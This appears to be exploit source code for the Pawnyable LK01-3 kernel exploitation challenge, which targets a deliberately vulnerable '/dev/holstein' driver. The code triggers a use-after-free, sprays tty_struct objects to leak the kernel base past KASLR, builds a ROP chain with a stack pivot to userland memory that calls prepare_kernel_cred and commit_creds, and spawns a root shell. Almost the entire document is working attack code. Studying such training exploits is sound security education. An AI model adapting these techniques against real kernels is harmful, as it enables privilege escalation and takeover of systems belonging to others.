Pawnyable LK01-3 (bypass KASLR, SMEP with SMAP disabled)

exploit_userland_pivoting.c

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define SPRAY_NUM 100

#define ofs_tty_ops 0xc39c60
#define mov_esp_0x39000000_ret (kbase + 0x5b5410)
#define prepare_kernel_cred (kbase + 0x72560)
#define commit_creds (kbase + 0x723c0)
#define pop_rdi_ret (kbase + 0x14078a)
#define pop_rcx_ret (kbase + 0x0eb7e4)
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x638e9b)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)

void fatal(char *msg) {
    perror(msg);
    exit(-1);
}

void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;

unsigned long kbase;
int spray[SPRAY_NUM];

void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}

void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}

int main() {
    save_userland_state();

    puts("[*] UAF-1: open fd1, fd2; close fd1");
    int fd1 = open("/dev/holstein", O_RDWR);
    int fd2 = open("/dev/holstein", O_RDWR);
    close(fd1); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] leaking kernel base and g_buf with tty_struct\n");
    char buf[0x400];
    read(fd2, buf, 0x400); // read tty_struct
    kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    if ((kbase & 0xffffffffffff0000) == 0xffffffffffff0000) {
        printf("[-] heap spraying failed\n");
        exit(-1);
    }

    char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    if ((unsigned long *)userland == (unsigned long *)-1)
        fatal("mmap");
    printf("[+] 0x%lx address mmaped\n", (unsigned long)userland);

    // craft rop chain and fake function table
    printf("[*] crafting rop chain from 0x39000000\n");
    unsigned long *chain = (unsigned long *)0x39000000;

    *chain++ = pop_rdi_ret;
    *chain++ = 0x0;
    *chain++ = prepare_kernel_cred;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = mov_rdi_rax_rep_movsq_ret;
    *chain++ = commit_creds;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = pop_rcx_ret;
    *chain++ = mov_esp_0x39000000_ret; // fake ops ioctl
    *chain++ = swapgs_restore_regs_and_return_to_usermode;
    *chain++ = 0x0;
    *chain++ = 0x0;
    *chain++ = user_rip;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_sp;
    *chain++ = user_ss;

    puts("[*] UAF-2: open fd3, fd4; close fd3");
    int fd3 = open("/dev/holstein", O_RDWR);
    int fd4 = open("/dev/holstein", O_RDWR);
    close(fd3); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] overwriting tty_struct target-2 with fake tty_ops ptr at 0x39000000\n");
    read(fd4, buf, 0x20);
    *(unsigned long *)&buf[0x18] = 0x39000000;
    write(fd4, buf, 0x20);

    printf("[*] invoking ioctl to hijack control flow\n");
    // hijack control flow
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        ioctl(spray[i], 0, 0);
    }

    getchar();
    close(fd2);
    close(fd4);
    for (int i = 0; i < SPRAY_NUM; i++)
        close(spray[i]);

    return 0;
}